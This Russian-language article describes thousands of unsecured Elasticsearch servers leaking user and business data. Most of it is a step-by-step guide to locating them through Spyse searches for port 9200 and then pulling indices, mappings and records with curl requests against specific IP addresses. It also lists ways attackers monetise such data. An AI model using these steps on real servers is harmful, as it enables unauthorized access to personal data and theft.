Повесть о том, как разработчики пренебрегают защитными мерами и как хакеры могут этим воспользоваться
Проблема: тысячи серверов с базами данных ElasticSearch свободно доступны без смс и регистрации.
Проблема эластиков не нова, но как мы увидим дальше, разработчики все еще не спешат себя обезопасить. По умолчанию Elasticsearch не имеет никакой системы безопасности, что делает процесс сканирования довольно простым, чем мы и воспользуемся.
Я самостоятельно ничего не сканировал, т.к это незаконно во многих странах. Вся предоставленная информация получена с сервиса spyse.com.
На 15.06.2020, при запросе к порту 9200, было найдено 436 терабайт утекших данных принадлежащих таким предприятиям, как Amazon, DigitalOcean, Google, Microsoft, ESPN и многим китайским корпорациям.
Найденная информация содержит конфединциальные данные пользователей (имейлы, номера телефонов, пароли, история заказов, привязанные методы оплаты и тд.), бизнес данные (внутренняя информация компании, информация о поставках, продуктах...), адреса биткоин кошельков и многое другое.
Пример полей найденных у Amazon:
*Важно - это лишь быстрый пример. Сервер может принадлежать тому, кто использует Amazon в качестве хостинга. Найти и детально изучить базы можно будет после прочтения этого гайда.
[HTML]"fields_list": [
"auth_user",
"auth_user.company_id",
"auth_user.country",
"auth_user.country.address_format_id",
"auth_user.country.country_name",
"auth_user.country.ebay_countrycode",
"auth_user.email",
"auth_user.first_name",
"auth_user.is_active",
"auth_user.is_staff",
"auth_user.is_superuser",
"auth_user.issuperadmin",
"auth_user.last_name",
"auth_user.password",
"auth_user.reset_password",
"email",
"first_name",
"gender",
"last_name",
"orders",
"phone",
"tab_id",
"tab_name",
"tab_parent_id",
"tin",
"totalorder"
][/HTML]
Утекшие данные ElasticSearch
Самые популярные индексы баз данных называются Readme, Kibana или nightlionsecurity.com.
Readme - скорее всего говорит о том что база данных взломана и залочена с требованием выкупа.
Kibana - помогает анализировать логи (в которых тоже много всего интересного)
Последний - компания, рекламирует себя путем переименования утекших баз данных.
После анализа удалось выяснить что на 15.06.2020 4,1% баз данных уже были взломаны с требованием выкупа.
Одна из основных функций Spyse - это автоматический анализ и связывание данных. Благодаря этому можно быстро проанализировать или произвести поиск с учетом связей между IP, доменами, организацией, странной и другими сущностями интернета.
Топ 3 самых уязвимых стран
China - 5468
United States - 4256
Germany - 1070
Топ уязвимых доменов по Alexa Rank
16451 - espn.com.mx
18568 - htmlbook.ru
21661 - qyresearch.com
25914 - econet.ru
28058 -baiduyunpan.com
30961 - btba.cc
31947- btba.com.cn
32804 - espn.com.au
Топ 10 самых уязвимых организаций
Hangzhou Alibaba Advertising Co., Ltd. - 2478 серверов
Amazon.com, Inc. - 1933
DigitalOcean, LLC - 1332
Google LLC - 1203
Shenzhen Tencent Computer Systems Company Limited - 910
OVH SAS - 825
Microsoft Corporation - 745
Hetzner Online GmbH - 336
Linode, LLC - 321
China Unicom Beijing Province Network - 236
Как хакеры могут воспользоваться данными
Вариантов эксплуатации подобных данных очень много, рассмотрим несколько простых.
Продажа данных. Простой дамп базы данных и продажа ее в даркнете. Это может быть как продажа целой базы так и отдельный тип данных, номера и пароли платежных карт.
Выкуп. База данных закрывается локером который шифрует всю информацию и дает доступ только при наличии специального ключа, или нет. Зачастую даже после выплаты требуемой суммы данные остаются заблокированными.
Бесплатные покупки. При наличии доступа к базе данных где хранятся продукты, злоумышленник может поменять статус заказа на “оплачено” и бесплатно рассылать себе товары/продукты.
Шпионаж. Данные могут быть проданы конкурентам или использованы для собственного обогащения. Например можно вложиться в компанию перед большим слиянием.
Как найти базы данных Elasticsearch
WEB интерфейс
Все данные фактически лежат на поверхности, нужно только постучаться. Что мы и сделаем используя поисковик Spyse.
Самый простой способ поиска информации это использование Web интерфейса.
Алгоритм поиска:
Перейдите на spyse.com, нажмите кнопку расширенного поиска (advanced search) на домашней странице и используйте всего один фильтр, чтобы найти нужную информацию - IP > Ports & Technologies > Opened Ports List > equals to > target – 9200 (номер порта который мы исследуем)
URL поискового запроса.
https://spyse.com/advanced-search/ip?search_params=%5B%7B%22ip_port_open_ports%22%3A%7B%22operator%22%3A%22eq%22,%22value%22%3A%229200%22%7D%7D%5D
В результатах поиска вы найдете все IP-адреса с открытым портом 9200, на котором мы предполагаем есть Elasticsearch. Но если вы хотите убедиться, используйте простой запрос Get для каждого IP-адреса и в ответе получите подтверждение гипотезы.
Вся дополнительная информация - связанные организации, интернет-провайдеры, домены и поддомены, рейтинг Alexa, номер AS и т. д... Уже связана с помощью алгоритмов Spyse.
Для более продвинутых пользователей которые хотят автоматизировать поиск рекомендуется освоить работу с API.
Использование API
Первый запрос предоставляет почти ту же информацию, что и web, за исключением только всех доменов, связанных с IP. Это связано с тем, что если IP не имеет записи PTR, он не будет связан с доменом. Чтобы предотвратить эту ситуацию и расширить диапазон исследования, добавив несколько новых доменов, нужно использовать один дополнительный запрос.
Пример первого запроса:
https://api.spyse.com/v2/data/ip/search?limit=10&search_params=%7B%22ip_port_open_ports%22%3A%20%5B%7B%22operator%22%3A%20%22eq%22%2C%20%22value%22%3A%20%229200%22%7D%5D%7D
Запрос можно проверить прямо в документации API Spyse. Для этого авторизуйтесь используя API token найденный на странице
https://spyse.com/user. После, найдите POS / Ip / port и введите значения {«ip_port_open_ports»: [{«operator»: «eq», «value»: «9200»}]}
Пример:
[HTML]{
"limit": 1,
"offset": 0,
"search_params": [
{
"ip_port_open_ports": {
"operator": "eq",
"value": "9200"
}
}
]
}[/HTML]
Результаты:
[HTML]{
"ip":"3.122.243.58",
"maxmind_geo":{
"city_name":"Frankfurt am Main",
"continent_code":"EU",
"continent_name":"Europe",
"country":"Germany",
"country_iso_code":"DE",
"location":{
"lat":50.1188,
"lon":8.6843
},
"tz":"Europe/Berlin",
"updated_at":"2020-02-19T08:48:32.423012Z"
},
"maxmind_isp":{
"as_num":16509,
"as_org":"Amazon.com, Inc.",
"isp":"Amazon.com",
"org":"Amazon.com",
"updated_at":"2020-02-19T08:48:32.423049Z"
},
"ptr_record":{
"value":"ec2-3-122-243-58.eu-central-1.compute.amazonaws.com",
"updated_at":"2020-02-18T15:58:17.539008Z"
},
"score":7,
"severity_details":{
"HIGH":10,
"MEDIUM":19,
"LOW":2
},
"updated_at":"2020-02-18T15:58:17.539008Z"
}[/HTML]
Для проверки действительно ли на порту есть Elasticsearch рекомендуется написать короткий скрипт который сам будет проверять цели.
Имеем информацию по IP на которых есть Elasticsearch. Второй запрос подразумевает сбор всех доменов привязанных к IP.
Пример запроса:
https://api.spyse.com/v2/data/domain/search?limit=10&search_params=%7B%22domain_dns_a%22%3A%20%5B%7B%22operator%22%3A%20%22eq%22%2C%20%22value%22%3A%20%223.93.170.245%22%7D%5D%7D
Проверьте это в документации API Spyse – GET /domain/search > {“domain_dns_a”: [{“operator”: “eq”, “value”: “8.8.8.8”}]}
Данные собраны.
Дальнейшие действия применимы только к базам данных Elasticsearch и направлены на получение информации с базы данных. Все, что нужно сделать, это правильно обратиться к базе (это зависит от версии эластика). Запросы, как обычно, представлены в документации по Elasticsearch.
Анализ баз данных Elasticsearch
Алгоритм поиска:
Обращаемся к адерсу где находится Elasticsearch в формате «ip: port / _stats».
Пример:
curl
http://171.244.129.66:9200/_stats
Ответ вернет индексы, размер и количество документов.
Или > Информацию о том, что у нас нет разрешения на такие действия.
Или > Ошибку.
Если доступ запрещен или у нас нет доступа, можно попробовать получить информацию другим способом, указав путь _nodes.
Пример:
curl
http://171.244.129.66:9200/_nodes
Когда индексы будут собраны, собираем их маппинги делая запросы формата: “ip:port/_mapping”, и после собираем их поля по пути “sql?format=json” запросы с пейлоадом в форматеt “{“query”:”DESC indexname“}”
Пример:
curl
http://171.244.129.66:9200/_mapping
На последнем этапе - получение точных данных.
Отправляем путь «index / _search» в для получения 10 случайных записей каждого индекса.
curl --header "Content-Type: application/json" --request GET --data '{"query":"DESC products"}' '178.32.101.214:9200/_sql?format=json'
Проблемы с Elasticsearch
Важно понимать, что это не разовая утечка, эти базы данных постоянно доступны, но из-за пренебрежения базовыми методами защиты список постоянно пополняется.
На данный момент создано и описано множество методов для того чтобы сделать свои базы данных безопасными, так команда Elasticsearch разработала основные правила и рекомендации по безопасности. Настоятельно рекомендую изучать вопрос безопасности перед разработкой чего бы то ни было.